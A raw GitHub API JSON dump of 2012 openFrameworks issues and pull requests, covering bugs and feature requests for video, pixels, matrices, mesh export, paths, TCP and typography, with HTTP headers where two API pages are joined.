Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"b3b3a8bd17d4ed7557040a218c1db573"'), ('date', 'Tue, 29 May 2012 19:36:59 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofStringUtils:: feature discussion","html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","comments":6,"assignee":null,"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","number":1132,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3911629,"closed_at":null,"created_at":"2012-03-31T17:52:48Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofTTF feature discussion","html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","comments":25,"assignee":null,"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","number":1131,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography"}],"id":3911537,"closed_at":null,"created_at":"2012-03-31T17:36:25Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Define standard header for examples.","html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","comments":0,"assignee":null,"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","number":1130,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","labels":[{"color":"d1af26","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"cccc29","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3910580,"closed_at":null,"created_at":"2012-03-31T14:44:01Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","comments":5,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","number":1129,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3910555,"closed_at":null,"created_at":"2012-03-31T14:39:04Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"upgrade scripts","html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","comments":1,"assignee":null,"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","number":1128,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3910549,"closed_at":null,"created_at":"2012-03-31T14:38:19Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"PG Feature request: Clean examples folder","html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","comments":0,"assignee":null,"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","number":1126,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","labels":[{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3897090,"closed_at":null,"created_at":"2012-03-30T12:51:30Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","url":"https://api.github.com/users/jesusgollonet","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","comments":0,"assignee":null,"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","number":1124,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3883598,"closed_at":null,"created_at":"2012-03-29T16:47:29Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"7398ab0bbd07832d0289f26773e65077","url":"https://api.github.com/users/imanhp","login":"imanhp","id":1216228,"avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","comments":2,"assignee":null,"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","number":1120,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3856005,"closed_at":null,"created_at":"2012-03-28T16:21:45Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Default paths.make for Android","html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","comments":0,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","number":1118,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"2bc4ad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android"}],"id":3850655,"closed_at":null,"created_at":"2012-03-28T12:19:39Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","url":"https://api.github.com/users/armadillu","login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Can't retrieve desired frame rate once set","html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","comments":0,"assignee":null,"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() 